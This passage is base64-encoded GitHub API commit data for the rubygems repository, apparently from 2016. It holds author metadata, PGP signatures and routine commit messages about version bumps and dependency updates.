mwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjIzZjNkNTFjZDQ1MDZhZjMzYzg1NmIzNTQxMWY0M2ZmZjA5MTljOWUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMjNmM2Q1MWNkNDUwNmFmMzNjODU2YjM1NDExZjQzZmZmMDkxOWM5ZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8yM2YzZDUxY2Q0NTA2YWYzM2M4NTZiMzU0MTFmNDNmZmYwOTE5YzllIn0seyJzaGEiOiI2MGYzNWJkMWQyMzU5ZmMzMDMwMWQyZDRjZDcyYmM2ODMzZThkMTJhIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYwZjM1YmQxZDIzNTlmYzMwMzAxZDJkNGNkNzJiYzY4MzNlOGQxMmEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjBmMzViZDFkMjM1OWZjMzAzMDFkMmQ0Y2Q3MmJjNjgzM2U4ZDEyYSJ9XX0seyJzaGEiOiI2MGYzNWJkMWQyMzU5ZmMzMDMwMWQyZDRjZDcyYmM2ODMzZThkMTJhIiwibm9kZV9pZCI6Ik1EWTZRMjl0YldsME5qRTBNRGN3T2pZd1pqTTFZbVF4WkRJek5UbG1Zek13TXpBeFpESmtOR05rTnpKaVl6WTRNek5sT0dReE1tRT0iLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTA5LTI2VDIwOjA2OjI5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMDktMjdUMTI6NDM6MDFaIn0sIm1lc3NhZ2UiOiJWZXJzaW9uIDIuNi43IHdpdGggdXBkYXRlZCBoaXN0b3J5IiwidHJlZSI6eyJzaGEiOiIxMDkzZTc4Njc0Yjk3MzkyZDQ2M2NkMjhmMmUyNmEzNmZhNTIxNGYyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMTA5M2U3ODY3NGI5NzM5MmQ0NjNjZDI4ZjJlMjZhMzZmYTUyMTRmMiJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzYwZjM1YmQxZDIzNTlmYzMwMzAxZDJkNGNkNzJiYzY4MzNlOGQxMmEiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlg2bWxWQUFvSkVBRVpXN01WM2FoV3VOTVAvaWxjTnhTdzdGMFlwYndjQ2xWMFA1a2Zcbjk0dUhVckJxU2RSbXE1MlJNZWR2Znh5YlV6RHY4ZUhBWmN2Y1h2VmpYTFRoUmRmSGtSWmxIWWtBSDNSc2k1d1NcbnJHbEJZZ3p1dmc5RUVhNC83YXRQRDVFNjRQWW1ScUl5TUhsUFU5c1Q3VS85ZnhONFE1bE1zTkRla3prTXB0VUNcbjY1QnBRaWQ1R1ltRGkyaUE1NEdzdDdNQVd5TFNDZTRKc0x2WnUvamdlUHZiQVBxbkRyMW55K2p2OTQwc2JYbG5cbmxma3dhcFlsLy9pc0lyM3N4bWd3TEtKZHRpbVliUkxoU3lybmlpL0plZEVKQW1DdFUyZWNkdlBiL2xFblRKUENcbm5mYXRVbUNkUkdacE02emdudzE1K1h1NStmSWwxMFJjaE5MUnkvMzhmVytXUDNSWWpQYjczbnFHTXlqMkZrUEJcbkVwN2VkZGxCNnN4MlQwbnhscm8vVUdDZVJ6alBUYjBQcXd1djNtU0YzRkVFOGZ1akdRazM0R0k3eldxOHBTTCtcbnpxbnJ6emNWQldmUnYwSzhlZC92cTRvK09pSlVMTFJIT1FTNTZOeHVCREplcTE4S3pvckhTVGNVdm5LUTlLaWJcbkZ3QUk0R215cXNod3JZYzNuQUNMUkhpRVJyQ3Z2K3QxQjRMVU5JclozSGFTUy9YT0JEaTdKc3VEeXVTWDQvaFFcbmRHRnRKNEh2M3M4WWE1d3FnRkM5Njk1a3JGYzcyaGhIQnNSemdpTVFpb2RucTk4ajd6amd6bmh5WkZiYU5qVEJcbmYzRE5pZlVpVVFnRE9WQ1dSOEFIVk9XOXZkMzlKZGkzVzdWQm1ZOWVJQU5nOWg0K3NmaXFHZzNPWjZuT1FyTDhcbkp1Y3o2dzZpOFVOVFNsVWtSYWJpXG49UDhqN1xuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMTA5M2U3ODY3NGI5NzM5MmQ0NjNjZDI4ZjJlMjZhMzZmYTUyMTRmMlxucGFyZW50IGFmYWM1MmYwZTY3MGQ3MDljMTBhODdmMzBkYTdkY2UzMGZmYzRhNGZcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3NDkyMDM4OSAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc0OTgwMTgxIC0wNTAwXG5cblZlcnNpb24gMi42Ljcgd2l0aCB1cGRhdGVkIGhpc3RvcnlcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYwZjM1YmQxZDIzNTlmYzMwMzAxZDJkNGNkNzJiYzY4MzNlOGQxMmEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjBmMzViZDFkMjM1OWZjMzAzMDFkMmQ0Y2Q3MmJjNjgzM2U4ZDEyYSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82MGYzNWJkMWQyMzU5ZmMzMDMwMWQyZDRjZDcyYmM2ODMzZThkMTJhL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJhZmFjNTJmMGU2NzBkNzA5YzEwYTg3ZjMwZGE3ZGNlMzBmZmM0YTRmIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2FmYWM1MmYwZTY3MGQ3MDljMTBhODdmMzBkYTdkY2UzMGZmYzRhNGYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYWZhYzUyZjBlNjcwZDcwOWMxMGE4N2YzMGRhN2RjZTMwZmZjNGE0ZiJ9XX0seyJzaGEiOiIzOWViOWE1YTg0ZjZjMWY2YjI4MGJjMzU5ZWM4MmIwM2UzZjA5YzZjIiwibm9kZV9pZCI6Ik1EWTZRMjl0YldsME5qRTBNRGN3T2pNNVpXSTVZVFZoT0RSbU5tTXhaalppTWpnd1ltTXpOVGxsWXpneVlqQXpaVE5tTURsak5tTT0iLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTA5LTIxVDE2OjE3OjEyWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMDktMjFUMTY6MTc6MTJaIn0sIm1lc3NhZ2UiOiJVcGRhdGUgYnVuZGxlciB0byBoYW5kbGUgbmV3IHJhaWxzIDMgcmVsZWFzZSBpbiBzcGVjcyIsInRyZWUiOnsic2hhIjoiODkwZjg5ZTg5NWI0MGMyYWNlYjU4ZDkxNzA0YTVhMDQyMWI0ODY1ZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzg5MGY4OWU4OTViNDBjMmFjZWI1OGQ5MTcwNGE1YTA0MjFiNDg2NWUifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8zOWViOWE1YTg0ZjZjMWY2YjI4MGJjMzU5ZWM4MmIwM2UzZjA5YzZjIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpYNHJLSUFBb0pFQUVaVzdNVjNhaFdSdWdQL2pMd2FWWlNZN09jTVl1NDJ5MVNDdUlqXG5FdVN1dEtvQlh0bHp1aDArT05ZZXNCSXJJaGExdWhreTJQNC9CcXFkRFVNRHEySCtsck85QUJOS0N3ZDF0aXpBXG52ak5KNytQVmx2RGVBN3RBSG5ESUpIeEp3d0Y3OTI1UmlkaXkrWDlxdmtqMVlEVmFsYU1aRUU3ZXVOK3RkTUVoXG5IamJRc2JHWnAxN0RHbllaYzlVa3EzbEJiMnVzOHFJVWt1ZEZCaWZ5cjlRL1JpT241dVFReGdSeVlNKzVMWFpLXG5mNi8vTk4xbUJ1dFRvb3ZrbzhZcWprVk83NWtuS1F0aWlqRGZ3UWkvYlFzRWJqNU9INVdvTmk5a0JqTTZGUlNGXG4xNE9uQ0RrbGlISHNUYkMyUjFRajMvYTdsTXVVcjZwNFByMjBkODdPL0hFenI3RDE2dnRDV1ZtVFRRdHFhckVzXG5WcFJ1UWhKSlBjMjNVNDVhbm8rcHRrYnZzN0k5bFA4UC9teEY4QldUNUZxdlVpeksvVzNHdlF0Y2xWSXo3UmV4XG5RR1FVWWF2NjJPdEltR2tHRjY3UGY5RWJWNXV6YU14aWpSQTJmTXI0MHB1R2tuTzVKbGhaWW94dTM0VFVhNVVZXG5tbmpWdS8yZVJsUXZmZ0d1Y3JEMzU2QXpXNHJPK0J4QWNQdWFvbkF4R1JsZjA5QmlaaWtQZE1rbWhHdHhYTHkrXG5ub1FWOWVkeEVXUzFVTTdFblhwb2JUZkNtWEpNRkpoNHR4eDZ2V3hRaS9NMWFDZVlITDZPRXVmTlZrM0pCalRaXG51U0N1elQxMVB3eDhZa3psMXhsTksxSjE3RTgzaTF0VGt0c2I5MitGdjJKZkJRd3VDdzdJMTJhRE9xQVNidFNsXG5RSTk4M1hGOGptajhRTjkvWEl0OVxuPUhWU0pcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDg5MGY4OWU4OTViNDBjMmFjZWI1OGQ5MTcwNGE1YTA0MjFiNDg2NWVcbnBhcmVudCAzNWFmMWE3MmUyMGM5OWY4NjQwZTViMGMzZjgyM2E1NzllNjMyZGE1XG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0NzQ0NzQ2MzIgKzAyMDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3NDQ3NDYzMiArMDIwMFxuXG5VcGRhdGUgYnVuZGxlciB0byBoYW5kbGUgbmV3IHJhaWxzIDMgcmVsZWFzZSBpbiBzcGVjc1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMzllYjlhNWE4NGY2YzFmNmIyODBiYzM1OWVjODJiMDNlM2YwOWM2YyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8zOWViOWE1YTg0ZjZjMWY2YjI4MGJjMzU5ZWM4MmIwM2UzZjA5YzZjIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzM5ZWI5YTVhODRmNmMxZjZiMjgwYmMzNTllYzgyYjAzZTNmMDljNmMvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjM1YWYxYTcyZTIwYzk5Zjg2NDBlNWIwYzNmODIzYTU3OWU2MzJkYTUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMzVhZjFhNzJlMjBjOTlmODY0MGU1YjBjM2Y4MjNhNTc5ZTYzMmRhNSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8zNWFmMWE3MmUyMGM5OWY4NjQwZTViMGMzZjgyM2E1NzllNjMyZGE1In1dfSx7InNoYSI6Ijk2Y2NjYjJjMTRhMTAzMjYzODI3OTg0MzVkNzkyMWU5ODI1ODY0OTciLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPamsyWTJOallqSmpNVFJoTVRBek1qWXpPREkzT1RnME16VmtOemt5TVdVNU9ESTFPRFkwT1RjPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMDktMTJUMjI6MTk6MzZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0wOS0xMlQyMjoxOTozNloifSwibWVzc2FnZSI6IlVwZGF0ZSB2ZW5kb3JlZCBNb2xpbmlsbG8gdG8gMC41LjEiLCJ0cmVlIjp7InNoYSI6IjRkYTJlODQ2YzM1MzZiMmI4N2Q4ODJjY2Q0ZjE0ZmFhNDczOGVhZDUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy80ZGEyZTg0NmMzNTM2YjJiODdkODgyY2NkNGYxNGZhYTQ3MzhlYWQ1In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvOTZjY2NiMmMxNGExMDMyNjM4Mjc5ODQzNWQ3OTIxZTk4MjU4NjQ5NyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWDF5bjRBQW9KRUFFWlc3TVYzYWhXZjVJUC8zeVpiTmUySnlBNStJdkk2aEYzK3VlTFxuUC82K015bHVtZ1FqUEYyQktIazhzbjk2VE10OERWUmx3dEFGNUhXOVZJdW1GUkhmQmZmR1B2ZisrMXhxclBJeFxuZnJ2Z3p3OGhrZytXMnZ1Y0E4L3RDUkdxRmJ2NWNhUkZ1Y2dSbDA2dXJkUTlNejU2SUU4ZitXQy9Jdkp1YjBwSFxuM1FMMmNlczU1ci85czREZVI3NW9aSkJnODhjV3FubmRuSTNhNjdhb3